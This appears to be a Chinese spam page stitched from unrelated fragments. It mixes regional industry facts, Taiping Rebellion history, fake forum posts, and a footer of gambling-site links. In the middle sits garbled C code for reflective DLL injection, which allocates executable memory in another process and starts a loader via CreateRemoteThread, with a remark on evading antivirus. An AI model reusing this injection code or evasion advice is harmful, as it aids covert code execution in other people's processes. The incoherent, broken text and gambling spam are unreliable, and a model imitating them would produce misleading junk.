目前已形成以制糖、造纸、建材、电力、化工、饲料以及港口运输等支柱产业和以冶金、机械、食品、医药、服装、羽绒为特色的地方工业体系,主要工业产品有机制糖、机制纸、水泥、化肥、饲料等。,!frag显示非分页池的外部池碎片信息。。桂平金田是1851年洪秀全发动中国近代历史规模最大、时间最长的太平天国农民起义策源地,杨秀清、石达开、韦昌辉、肖朝贵、秦日纲等著名将领是贵港籍人。。

刘凡2018-5-24 23:55:45

  “厂里电动车年产量3万余台,基本做到当年产当年销。,OD载入,输入123456,点确定半天没反应,忽然来个内存异常。。看雪论坛各位版主陪伴看雪走过了十几年春秋,共同见证了中国互联网的起起伏伏。。

魏金洁2018-5-24 23:55:45

LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。,一些未文档化的结构在不同Windows版本间有所变化。。  “我们公司从洽谈签约到整车下线,用时不到一年,这个速度在业内比较罕见。。

评论热议
请登录后评论。

登录 注册

现金网游戏 斗牛下载 真钱扎金花游戏 赌博网址 百家乐玩法 老虎机定位器
www.4455gz.com www.5959000.com 博彩公司 www.208444.com 网络真钱游戏 www.551884.com
www.03787.com www.xpj85777.com www.vns883888.com www.vns481.com 网络电玩城 赌博网
www.0636t.com www.bet322.com www.v0501.com www.338730.com www.hg4735.com www.vnsr0066.com